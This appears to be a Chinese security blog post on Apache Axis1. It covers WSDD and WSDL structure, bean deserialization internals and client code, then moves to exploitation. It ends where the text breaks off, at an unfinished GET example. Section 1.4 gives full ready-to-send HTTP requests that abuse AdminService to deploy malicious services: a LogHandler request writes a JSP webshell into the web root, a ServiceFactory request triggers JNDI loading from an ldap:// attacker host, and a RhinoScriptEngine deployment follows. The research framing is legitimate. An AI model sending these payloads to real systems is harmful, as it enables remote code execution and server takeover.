* 需要使用JAX-RPC的项目。该API只有两种开源实现：Axis和[Sun的参考实现](http://java.net/projects/jax-rpc/)。
* 需要使用或公开使用SOAP编码的Web服务的项目。SOAP编码已被弃用，现代Web服务框架不再支持。但是，仍然存在使用编码类型的旧式服务。
* 使用Axis构建的现有项目，使用现代Web服务框架重写它们的投资回报将太低。
之前遇到过几个应用还是在使用Axis1，Axis1依然存在于较多因为太庞大或臃肿而没那么容易被重构的系统中。
后面记录下Axis1和Axis2相关内容。各个WebService框架的设计有区别，但是也有相通之处，熟悉一个看其他的或许能省不少力气。
### 1\. Apache Axis1
#### 1.1 搭建一个Axis项目
如果一开始不知道配置文件要配置些什么，可以使用Intellij idea创建axis项目，idea会自动生成好一个基础的用于部署的server-config.wsdd配置文件以及web.xml文件，如果手动创建需要自己写配置文件，看过几个应用中的配置文件，用idea创建的server-config.wsdd中的基本配置参数在看过的几个应用中基本也有，所以猜测大多开发Axis的如果没有特殊需求一开始都不会手动去写一些基本的参数配置，只是往里面添加service。
##### 1.1.1 使用idea创建Axis项目
1. 新建项目，选择WebServices
2. 选择Apache Axis
3. 如果你不知道axis开发要依赖些什么，就选择下载（默认会下载Axis1的最新版1.4版本）；你知道的话就可以选择之后自己设置依赖
完成之后，idea生成的结构如下：
主要是会自动帮我们生成好基础的wsdd配置文件和web.xml中的servlet
##### 1.1.2 访问WebService
搭建完成之后，和通常的部署web服务一样部署到tomcat或其他服务器上就可以了访问测试了。idea默认生成的web.xml中配置了两个web
services访问入口：
1. /services
2. /servlet/AxisServlet
还有一种是.jws结尾的文件，也可以作为web
service，.jws里面其实就是java代码，不过.jws只是作为简单服务使用，不常用，后续是只看wsdl这种的。
后续要用到的示例项目代码传到了[github]()。
#### 1.2 基本概念
##### 1.2.1 wsdd配置文件
大体基本结构如下，更详细的可以看idea生成的wsdd文件：
<?xml version="1.0" encoding="UTF-8"?>
<!-- 告诉Axis Engine这是一个部署描述文件。一个部署描述文件可以表示一个完整的engine配置或者将要部署到一个活动active的一部分组件。 -->
<deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<!-- 用于控制engine范围的配置。会包含一些参数 -->
<globalConfiguration>
<!-- 用来设置Axis的各种属性，参考Global Axis Configuration，可以配置任意数量的参数元素 -->
<parameter name="adminPassword" value="admin" />
<!-- 设置一个SOAP actor/role URI，engine可以对它进行识别。这允许指向这个role的SOAP headers成功的被engine处理 -->
<role/>
<!-- 全局的请求Handlers。在调用实际的服务之前调用 -->
<requestFlow>
<handler type="java:org.apache.axis.handlers.JWSHandler">
<parameter name="scope" value="session" />
</handler>
<handler type="java:org.apache.axis.handlers.JWSHandler">
<parameter name="scope" value="request" />
<parameter name="extension" value=".jwr" />
</handler>
</requestFlow>
<!-- 全局响应Handlers，在调用完实际的服务后，还没有返回到客户端之前调用 -->
<responseFlow/>
</globalConfiguration>
<!-- 用于定义Handler，并定义handler的类型。"Type" 可以是已经定义的Handler或者是"java:class.name"形式的QName。可选的"name"属性允许将这个Handler的定义在其他部署描述部分中引用。可以包含任意数量的<parameter name="name" value="value">元素. -->
<handler name="LocalResponder" type="java:org.apache.axis.transport.local.LocalResponder" />
<handler name="URLMapper" type="java:org.apache.axis.handlers.http.URLMapper" />
<handler name="Authenticate" type="java:org.apache.axis.handlers.SimpleAuthenticationHandler" />
<!-- 部署/卸载一个Axis服务,这是最复杂的一个WSDD标签。 -->
<service name="AdminService" provider="java:MSG">
<!-- allowedMethods: 每个provider可以决定那些方法允许web services访问，指定一个以空格分隔的方法名,只有这些方法可以通过web service访问。也可以将这个值指定为”*”表示所有的方法都可以访问。同时operation元素用来更进一步的定义被提供的方法，但是它不能决定方法的可见性 -->
<parameter name="allowedMethods" value="AdminService" />
<parameter name="enableRemoteAdmin" value="false" />
<!--className：后台实现类,即暴露接口的类-->
<parameter name="className" value="org.apache.axis.utils.Admin" />
<namespace>http://xml.apache.org/axis/wsdd/</namespace>
</service>
<!-- provider="java:RPC" 默认情况下所有的public方法都可以web service方式提供-->
<service name="TestService" provider="java:RPC">
<!-- 每个service也可以设置requestFlow，每次调用service方法时都会依次调用对应的handler -->
<requestFlow>
<handler type="java:xxxHandlers" >
</handler>
</requestFlow>
<parameter name="allowedMethed" value="sayHello"/>
<parameter name="scope" value="Request"/>
<parameter name="className"
value="adam.bp.workflow.webservice.test.WebServicesTest"/>
</service>
<!-- 定义了一个服务器端的传输。当一个输入请求到达的时候，服务器传输被调用 -->
<transport name="http">
<!-- 指定handlers/chains 在请求被处理的时候被调用，这个功能和service元素中的功能一样。典型的传输请求响应handler实现了关于传输的功能。例如转换协议headers等等 -->
<requestFlow>
<handler type="URLMapper" />
<handler type="java:org.apache.axis.handlers.http.HTTPAuthHandler" />
</requestFlow>
<parameter name="qs:list" value="org.apache.axis.transport.http.QSListHandler"/>
<parameter name="qs:wsdl" value="org.apache.axis.transport.http.QSWSDLHandler"/>
<parameter name="qs:method" value="org.apache.axis.transport.http.QSMethodHandler"/>
</transport>
<transport name="local">
<!-- 指定handlers/chains 在响应被处理的时候被调用，这个功能和service元素中的功能一样。典型的传输请求响应handler实现了关于传输的功能。例如转换协议headers等等 -->
<responseFlow>
<handler type="LocalResponder" />
</responseFlow>
</transport>
后续对于漏洞利用需要关注的就是`<service`标签和`<handler`标签，还有`<transport
name="http">`中的几个parameter，qs:list、qs:wsdl、qs:method。这些在后面会逐步看到。
##### 1.2.2 Service Styles
在官方文档一共提供了四种Service方式：
* RPC
* Document
* Wrapped
* Message，上面wsdd中的AdminService就属于这类service，`<service name="AdminService" provider="java:MSG">`，它配置的是java:MSG
后续内容都是基于RPC方式，后续不做特别说明的默认就是RPC方式，也是Axis作为WebService常用的方式， **RPC** 服务遵循SOAP
RPC约定，其他三种方式暂不介绍（Message Service在1.2.3.4小节中会有说明）。
##### 1.2.3 wsdl组成
访问AdminService的wsdl来解析下wsdl结构：
wsdl主要包含5个部分：
* types
* messages
* portType
* binding
* service
结合AdminService的代码来更好的理解wsdl：
public class Admin {
protected static Log log;
public Admin() {
}
public Element[] AdminService(Element[] xml) throws Exception {
log.debug("Enter: Admin::AdminService");
MessageContext msgContext = MessageContext.getCurrentContext();
Document doc = this.process(msgContext, xml[0]);
Element[] result = new Element[]{doc.getDocumentElement()};
log.debug("Exit: Admin::AdminService");
return result;
}
...
}
###### 1.2.3.1 types
types是对于service对应的类，所有公开方法中的复杂参数类型和复杂返回类型的描述。如：
<wsdl:types>
<schema targetNamespace="http://xml.apache.org/axis/wsdd/" xmlns="http://www.w3.org/2001/XMLSchema">
<element name="AdminService" type="xsd:anyType"/>
<element name="AdminServiceReturn" type="xsd:anyType"/>
</schema>
</wsdl:types>
AdminService方法的参数和返回值中都有复杂类型，`<element name="AdminService"
type="xsd:anyType"/>`表示AdminService方法的Element[]参数，是一个Element类型的数组，不是基本类型（基本类型可以看1.2.4节），如果没有配置该类的对应的序列化器和反序列化器（在后续可以看到），在wsdl中就会写成`type="xsd:anyType"`。`<element
name="AdminServiceReturn" type="xsd:anyType"/>`就是AdminService方法的返回值，同理。
###### 1.2.3.2 messages
messages是对于service对应的类，每个公开方法每个参数类型和返回类型的描述。如：
<wsdl:message name="AdminServiceResponse">
<wsdl:part element="impl:AdminServiceReturn" name="AdminServiceReturn"/>
</wsdl:message>
<wsdl:message name="AdminServiceRequest">
<wsdl:part element="impl:AdminService" name="part"/>
</wsdl:message>
`<wsdl:message name="
AdminServiceRequest">`就是AdminService方法入参，它是一个复杂类型，所以用`element="impl:AdminService"`引用上面types中的`<element
name="AdminService" type="xsd:anyType"/>`。`<wsdl:message
name="AdminServiceResponse">`同理表示。
###### 1.2.3.3 portType
portType是service对应的类，有哪些方法被公开出来可被远程调用。如：
<wsdl:portType name="Admin">
<wsdl:operation name="AdminService">
<wsdl:input message="impl:AdminServiceRequest" name="AdminServiceRequest"/>
<wsdl:output message="impl:AdminServiceResponse" name="AdminServiceResponse"/>
</wsdl:operation>
</wsdl:portType>
这个service的AdminService方法被公开出来可以调用，他的输入输出分别是`impl:AdminServiceRequest`和`impl:AdminServiceResponse`，也就是上面messages对应的两个定义。
###### 1.2.3.4 binding
binding可以理解成如何通过soap进行方法请求调用的描述。如：
<wsdl:binding name="AdminServiceSoapBinding" type="impl:Admin">
<wsdlsoap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="AdminService">
<wsdlsoap:operation soapAction=""/>
<wsdl:input name="AdminServiceRequest">
<wsdlsoap:body use="literal"/>
</wsdl:input>
<wsdl:output name="AdminServiceResponse">
<wsdlsoap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
这个binding的实现是impl:Admin，就是portType中的Admin。`<wsdlsoap:binding
style="document"`表示使用document样式（有rpc和document，两者区别在于方法的操作名是否出现在Soap中）。例如通过soap调用AdminService方法，他的soapAction=""，body使用literal方式编码(有literal和encoded两种，区别在于是否带上参数类型)。如：
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 473
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
<soap:Body>
<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="randomAAA" provider="java:RPC">
<parameter name="className" value="java.util.Random" />
<parameter name="allowedMethods" value="*" />
</service>
</deployment>
</soap:Body>
</soap:Envelope>
这里soap没有方法名（即AdminService），也没有参数类型。可能这里会好奇，这个`<deployment`标签包含的数据怎么转换成AdminService方法中的Element[]数组的，这里其实就是1.2.2中说到的Service
styles使用的是java:MSG即Message方式，在文档中描述如下，所以使用Message Service方式是他自己做了转换：
最后，我们到达“Message”样式的服务，当您希望Axis退后一步，让您的代码以实际的XML而不是将其转换为Java对象时，应使用它们。Message样式服务方法有四个有效签名：
public Element [] method(Element [] bodies);
public SOAPBodyElement [] method (SOAPBodyElement [] bodies);
public Document method(Document body);
public void method(SOAPEnvelope req, SOAPEnvelope resp);
前两个将传递DOM元素或SOAPBodyElements的方法数组-数组将为信封中<soap：body>中的每个XML元素包含一个元素。
第三个签名将为您传递一个表示<soap：body>的DOM文档，并且期望得到相同的结果。
第四个签名为您传递了两个表示请求和响应消息的SOAPEnvelope对象。如果您需要查看或修改服务方法中的标头，则使用此签名。无论您放入响应信封的内容如何，返回时都会自动发送回给呼叫者。请注意，响应信封可能已经包含已由其他处理程序插入的标头。
###### 1.2.3.5 service
这个标签对于我们调用者其实没什么作用，也就说明下这个service的调用url为http://localhost:8080/axis/services/AdminService：
<wsdl:service name="AdminService">
<wsdl:port binding="impl:AdminServiceSoapBinding" name="AdminService">
<wsdlsoap:address location="http://localhost:8080/axis/services/AdminService"/>
</wsdl:port>
可以看出service包含了binding，binding包含了portType，portType包含了messages，messages包含了types。看wsdl的时候倒着从service看可能更好一点，依次往上寻找。
###### 1.2.3.6 说明
对于多个参数的方法，含有复杂类型的方法，可以看demo项目中的HelloWord的wsdl，我将那个类的方法参数改得更有说服力些，如果能看懂wsdl并且能猜测出这个service公开有哪些方法，每个方法的参数是怎样的，就基本没有问题了。
Axis文档中说到，1.2.3小节的每一部分在运行时都会动态生成对应的类去处理，不过我们不需要关心它怎么处理的，中间的生成代码对于该框架的漏洞利用也没有价值，不必去研究。
其实有工具来帮助解析wsdl的，例如soap
ui，我们也可以很方便的点击，填写数据就能调用。大多数时候没有问题，但是有时候传递复杂数据类型出现问题时，你得直到问题出在哪，还是得人工看下types，人工正确的构造下再传递；或者你自己绑定的恶意类不符合bean标准时，soap
ui其实生成的不准确或不正确，也要自己手动修改构造。
##### 1.2.4 wsdl types与java基础类型的对应
文档中列出了下面一些基本类型：
xsd:base64Binary | `byte[]`
---|---
xsd:boolean | `boolean`
xsd:byte | `byte`
xsd:dateTime | `java.util.Calendar`
xsd:decimal | `java.math.BigDecimal`
xsd:double | `double`
xsd:float | `float`
xsd:hexBinary | `byte[]`
xsd:int | `int`
xsd:integer | `java.math.BigInteger`
xsd:long | `long`
xsd:QName | `javax.xml.namespace.QName`
xsd:short | `short`
xsd:string | `java.lang.String`
##### 1.2.5 axis不能通过soap发送什么
官方文档说，不能通过网络发送任意Java对象，并希望它们在远端被理解。如果你是使用RMI，您可以发送和接收可序列化的Java对象，但这是因为您在两端都运行Java。
**Axis仅发送已注册Axis序列化器的对象。**
本文档下面显示了如何使用BeanSerializer来序列化遵循访问者和变异者JavaBean模式的任何类。要提供对象，必须用BeanSerializer注册类，或者使用Axis中内置的Bean序列化支持。
##### 1.2.6 Bean类的反序列化
当类作为方法参数或者返回值时，需要用到Bean Serializer和Bean Deserializer，Axis有内置的Bean序列化器和反序列化器.
如上面项目中的我已经配置好的HelloWorld Service配置：
<service name="HelloWorld" provider="java:RPC">
<parameter name="className" value="example.HelloWorld"/>
<parameter name="allowedMethods" value="*"/>
<parameter name="scope" value="Application"/>
<namespace>http://example</namespace>
<typeMapping languageSpecificType="java:example.HelloBean" qname="ns:HelloBean" xmlns:ns="urn:HelloBeanManager"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
</typeMapping>
<typeMapping languageSpecificType="java:example.TestBean" qname="xxx:TestBean" xmlns:xxx="urn:TestBeanManager"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
</typeMapping>
</service>
使用`<typeMapping>`标签配置对应类的序列化器和反序列化器
###### 1.2.6.1 Bean类反序列化时构造器的选择
使用org.apache.axis.encoding.ser.BeanDeserializer#startElement选择Bean类的构造函数
public void startElement(String namespace, String localName, String prefix, Attributes attributes, DeserializationContext context) throws SAXException {
if (this.value == null) {
try {
this.value = this.javaType.newInstance();//先调用默认构造器
} catch (Exception var8) {
Constructor[] constructors = this.javaType.getConstructors();
if (constructors.length > 0) {
this.constructorToUse = constructors[0];//如果没找到默认构造器，就从全部构造器中选择第一个，这里的顺序可能不是固定的，比如有多个构造函数，这里constructors的顺序经过测试也不是按申明顺序排列的，可能和jdk版本有关，但是固定的jdk版本每次调用时这里的constructors顺序是不会改变的。这里应该是设计的有问题，为什么要这样没有目的的随意取一个构造器，在后面我会用java.io.File类当作Bean类来说明这个缺陷，而且在1.2.6.3小节中还会提到另一个缺陷
}
if (this.constructorToUse == null) {
throw new SAXException(Messages.getMessage("cantCreateBean00", this.javaType.getName(), var8.toString()));
}
}
}
super.startElement(namespace, localName, prefix, attributes, context);
}
###### 1.2.6.2 Bean类反序列化时有参构造器或setter方式为属性赋值的选择
org.apache.axis.encoding.ser.BeanDeserializer#onStartChild：
public SOAPHandler onStartChild(String namespace, String localName, String prefix, Attributes attributes, DeserializationContext context) throws SAXException {
...
....
else if (dSer == null) {
throw new SAXException(Messages.getMessage("noDeser00", childXMLType.toString()));
} else {
if (this.constructorToUse != null) {//如果constructorToUse不为空就使用构造器，在1.2.4.1中如果有默认构造器，constructorToUse是不会被赋值的，如果没有默认构造器就会使用setter方式
if (this.constructorTarget == null) {
this.constructorTarget = new ConstructorTarget(this.constructorToUse, this);
}
dSer.registerValueTarget(this.constructorTarget);
} else if (propDesc.isWriteable()) {//否则使用属性设置器，setter方式
if ((itemQName != null || propDesc.isIndexed() || isArray) && !(dSer instanceof ArrayDeserializer)) {
++this.collectionIndex;
dSer.registerValueTarget(new BeanPropertyTarget(this.value, propDesc, this.collectionIndex));
} else {
this.collectionIndex = -1;
dSer.registerValueTarget(new BeanPropertyTarget(this.value, propDesc));
}
}
...
...
}
}
}
###### 1.2.6.3 Bean类反序列化时选择有参构造器赋值
如果选择了有参构造器赋值，就不会调用setter方法了，将属性作为参数传递给构造器，org.apache.axis.encoding.ConstructorTarget#set:
public void set(Object value) throws SAXException {
try {
this.values.add(value);//外部传递的属性个数，可以只传递一个属性，也可以不传，还可以全部传，this.values就是从外部传递的数据个数值
if (this.constructor.getParameterTypes().length == this.values.size()) {//这里判断了this.constructor(就是前面的constructorToUse)参数的个数和传递的个数是否相等，相等进入下面构造器的调用
Class[] classes = this.constructor.getParameterTypes();
Object[] args = new Object[this.constructor.getParameterTypes().length];
for(int c = 0; c < classes.length; ++c) {
boolean found = false;
//下面这个for循环判断构造函数的参数的类型是否和传递的参数类型一样，但是这个写法应该不正确，假如Bean类为java.io.File，构造函数被选择为public File(String parent,String Child)，this.values为{"./","test123.jsp"}那么当上面和下面这个循环结束后，args会变成{"./","./"}，这也是我后面测试过的，因为第二个循环从0开始的，构造器第一个参数类型和第二个参数类型一样都是String，当为第二个参数赋值时，this.values.get(0)的类型为String，匹配上第二个参数类型，所以args取到的第二个值还是"./"。
for(int i = 0; !found && i < this.values.size(); ++i) {
if (this.values.get(i).getClass().getName().toLowerCase().indexOf(classes[c].getName().toLowerCase()) != -1) {
found = true;
args[c] = this.values.get(i);
}
}
if (!found) {
throw new SAXException(Messages.getMessage("cannotFindObjectForClass00", classes[c].toString()));
}
}
Object o = this.constructor.newInstance(args);
this.deSerializer.setValue(o);
}
} catch (Exception var7) {
throw new SAXException(var7);
}
}
###### 1.2.6.4 Bean类反序列化时setter方式为属性赋值
org.apache.axis.encoding.ser.BeanPropertyTarget#set：
public void set(Object value) throws SAXException {
//this.pd类型BeanPropertyDescriptor，下面就是setter方式为bean对象赋值
try {
if (this.index < 0) {
this.pd.set(this.object, value);
} else {
this.pd.set(this.object, this.index, value);
}
} catch (Exception var8) {
Exception e = var8;
try {
Class type = this.pd.getType();
if (value.getClass().isArray() && value.getClass().getComponentType().isPrimitive() && type.isArray() && type.getComponentType().equals(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
type = Array.newInstance(JavaUtils.getWrapperClass(value.getClass().getComponentType()), 0).getClass();
}
if (JavaUtils.isConvertable(value, type)) {
value = JavaUtils.convert(value, type);
if (this.index < 0) {
this.pd.set(this.object, value);
} else {
this.pd.set(this.object, this.index, value);
}
} else {
if (this.index != 0 || !value.getClass().isArray() || type.getClass().isArray()) {
throw e;
}
for(int i = 0; i < Array.getLength(value); ++i) {
Object item = JavaUtils.convert(Array.get(value, i), type);
this.pd.set(this.object, i, item);
}
}
} catch (Exception var7) {
...
...
##### 类作为参数需要的条件
* 如果有公有默认构造器，则首先调用公有默认构造器，然后会调用setter方法为属性赋值；如果没有公有默认构造器，但是有公有构造器能传入参数，但是调用哪个可能不是固定的，此时不会再调用setter函数了
* 该类的所有属性，如果不是基础类型，属性类也必须符合条件1才行
* 类或者属性作为类都需要用`<typeMapping></typeMapping>`或`<beanMapping></beanMapping>`配置后才能使用（用typeMapping更通用些）
在后面的利用中有个RhinoScriptEngine作为恶意类就是个很好的例子
##### 类作为service需要的条件
* 需要一个公有的默认构造器
* 只有public的方法会作为service方法，并且不会包含父类的方法
* 用`<service></service>`标签配置
#### 1.3 Axis客户端编写
大致步骤：
1. 新建一个Service Call
2. 设置Service端点
3. 设置OperationName，也就是要调用的目标service公开出来的方法
4. 如果方法参数不是基本类型，需要注册类的序列化器和反序列化器
5. 使用call.invoke(new Object[]{param1,param2,...})调用即可
Axis Client：
package client;
import example.HelloBean;
import example.TestBean;
import org.apache.axis.client.Call;
import org.apache.axis.client.Service;
import org.apache.axis.encoding.ser.BeanDeserializerFactory;
import org.apache.axis.encoding.ser.BeanSerializerFactory;
import javax.xml.namespace.QName;
import java.util.Date;
public class AxisClient {
public static void main(String[] args) {
try {
String endpoint =
"http://localhost:8080/axis/services/HelloWorld?wsdl";
Service service = new Service();
Call call = (Call) service.createCall();
call.setTargetEndpointAddress(new java.net.URL(endpoint));
QName opQname = new QName("http://example", "sayHelloWorldFrom");
call.setOperationName(opQname);
QName helloBeanQname = new QName("urn:HelloBeanManager", "HelloBean");
call.registerTypeMapping(HelloBean.class, helloBeanQname, new BeanSerializerFactory(HelloBean.class, helloBeanQname), new BeanDeserializerFactory(HelloBean.class, helloBeanQname));
QName testBeanQname = new QName("urn:TestBeanManager", "TestBean");
call.registerTypeMapping(TestBean.class, testBeanQname, new BeanSerializerFactory(TestBean.class, testBeanQname), new BeanDeserializerFactory(TestBean.class, testBeanQname));
HelloBean helloBean = new HelloBean();
helloBean.setStr("aaa");
helloBean.setAnInt(111);
helloBean.setBytes(new byte[]{1, 2, 3});
helloBean.setDate(new Date(2021, 2, 12));
helloBean.setTestBean(new TestBean("aaa", 111));
String ret = (String) call.invoke(new Object[]{helloBean});
System.out.println("Sent 'Hello!', got '" + ret + "'");
} catch (Exception e) {
e.printStackTrace();
}
}
}
还可以使用soap ui工具进行调用，十分方便：
可以抓包看下使用代码发送的内容，和soap ui发送的有什么不同，尽管大多数时候soap
ui能正确帮你生成可调用的soap内容，你只用填写参数，但是有的复杂类型或者不符合bean标准的参数可能还是得手动修改或者使用代码调用的方式抓包数据来进行辅助修改。
#### 1.4 Axis的利用
利用方式有以下两种：
* 暴露在外部的web service能直接调用造成危害，web service通常会存在较多的漏洞问题，很多时候没鉴权或者鉴权不够。
* 利用AdminService部署恶意类service或者handler，但是AdminService只能local访问，需要配合一个SSRF
第一种方式需要根据实际应用来判断，后面只写第二种方式。1.4节之前的一些内容就是为了能够理解这里利用AdminService传递部署的`<deployment`内容，和wsdd配置一个意思。
##### 1.4.1 几个通用的RCE恶意类service或handler
有两个公开的LogHandler和ServiceFactory
；另一个我想起了之前jdk7及以下中存在的RhinoScriptEngine，由于Axis1版本比较老了，许多使用Axis1版本的大都是在jdk6、jdk7下，这种情况下前两个类不好用时，可以试下这个类，这个类的部署也有意思，用到了前面说到的`<typeMapping`来传递恶意类作为参数时的情况。
###### 1.4.1.1 org.apache.axis.handlers.LogHandler handler
post请求：
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 777
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
<soap:Body>
<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="randomAAA" provider="java:RPC">
<requestFlow>
<handler type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</requestFlow>
<parameter name="className" value="java.util.Random" />
<parameter name="allowedMethods" value="*" />
</service>
</deployment>
</soap:Body>
</soap:Envelope>
get请求：
GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
通过get或post请求部署完成后，访问刚才部署的service并随意调用其中的一个方法：
POST /axis/services/randomBBB HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 700
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java">
<soapenv:Header/>
<soapenv:Body>
<util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %>
]]></in0>
<in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
</util:ints>
</soapenv:Body>
</soapenv:Envelope>
会在tomcat的webapps/ROOT/下生成一个shell.jsp文件
**缺陷：**
只有写入jsp文件时，并且目标服务器解析jsp文件时才有用，例如不让解析jsp但是解析jspx文件时，因为log中有其他垃圾信息，jspx会解析错误，所以写入jspx也是没用的
###### 1.4.1.2 org.apache.axis.client.ServiceFactory service
post请求：
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 750
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soapenv:Body>
<ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<ns1:service name="ServiceFactoryService" provider="java:RPC">
<ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
get请求：
GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
通过get或post请求部署完成后，访问刚才部署的service并调用它的getService方法，传入jndi链接即可：
POST /axis/services/ServiceFactoryService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 891
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://client.axis.apache.org">
<soapenv:Header/>
<soapenv:Body>
<cli:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<environment xsi:type="x-:Map" xs:type="type:Map" xmlns:x-="http://xml.apache.org/xml-soap" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">
<!--Zero or more repetitions:-->
<item xsi:type="x-:mapItem" xs:type="type:mapItem">
<key xsi:type="xsd:anyType">jndiName</key>
<value xsi:type="xsd:anyType">ldap://xxx.xx.xx.xxx:8888/Exploit</value>
</item>
</environment>
</cli:getService>
</soapenv:Body>
</soapenv:Envelope>
**缺陷：** 如果设置了不允许远程加载JNDI Factory，就不能用了
###### 1.4.1.3 com.sun.script.javascript.RhinoScriptEngine service
post请求：
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 905
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
<soap:Body>
<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="RhinoScriptEngineService" provider="java:RPC">
<parameter name="className" value="com.sun.script.javascript.RhinoScriptEngine" />
<parameter name="allowedMethods" value="eval" />
<typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
type="java:javax.script.SimpleScriptContext"
qname="ns:SimpleScriptContext"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice" regenerateElement="false">
</typeMapping>
</service>
</deployment>
</soap:Body>
</soap:Envelope>
get请求：
